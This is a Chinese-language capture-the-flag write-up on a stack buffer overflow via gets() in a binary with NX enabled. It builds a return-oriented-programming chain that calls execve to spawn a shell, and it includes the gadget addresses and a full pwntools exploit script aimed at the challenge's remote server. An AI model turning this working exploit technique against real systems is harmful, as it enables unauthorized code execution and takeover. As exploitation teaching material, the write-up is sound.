# 堆ROP題目
> Author:堇姬
## 確認保護

看到有開Stack canary,但溢出後卻沒有報stack canary的錯誤,所以應該是沒開。
另外他有開NX,所以沒辦法寫shellcode

## 分析ASM

有gets 可以BOF,不過沒有其他function可以return過去,所以應該是要ROP
## 堆ROP
- execve('bin/sh')
|暫存器|值|
|---|----|
|rax|0x3b|
|rdi|要執行的參數值(/bin/sh)|
|rsi|argv(這裡=0)|
|rdx|envp(這裡=0)|
- stack
```
pop rax
0x3b
pop rdi
command_addr_in_stack
pop rsi
0
pop rdx;
0
syscall
```
ROPgadget找位置
|暫存器|位置|要蓋的值|
|---|----|----|
|pop rax ;ret|0x4516a7|0x3b|
|pop rdi ;ret|0x4018c2|0x4c3300|
|pop rsi ;ret|0x40f21e|0|
|pop rdx ;ret|0x4017cf|0|
|syscall|0x4012d3|無|





輸入的shellcode存在0x4c3300

要蓋0x70+0x8然後開始ret

### Script
```python=
from pwn import *
r=remote('23.146.248.20', 10009)
#r=process('rop0')
shellcode_addr=0x004c3300
context.arch='amd64'
ROPvar={
'shellcode':b"/bin/bash\x00",
'pop_rax_ret':0x4516a7,
'pop_rdi_ret':0x4018c2,
'pop_rsi_ret':0x40f21e,
'pop_rdx_ret':0x4017cf,
'syscall':0x4012d3
}
STACKvar={
'rax_var':0x3b,
'rdi_var':shellcode_addr,
'rsi_var':0,
'rdx_var':0,
}
padding=0x70+0x8
payload=b"a"*padding+flat(ROPvar['pop_rax_ret'],
STACKvar['rax_var'],
ROPvar['pop_rdi_ret'],
STACKvar['rdi_var'],
ROPvar['pop_rdx_ret'],
STACKvar['rdx_var'],
ROPvar['pop_rsi_ret'],
STACKvar['rsi_var'],
ROPvar['syscall'])
r.sendline(ROPvar['shellcode'])
r.sendline(payload)
r.interactive()
```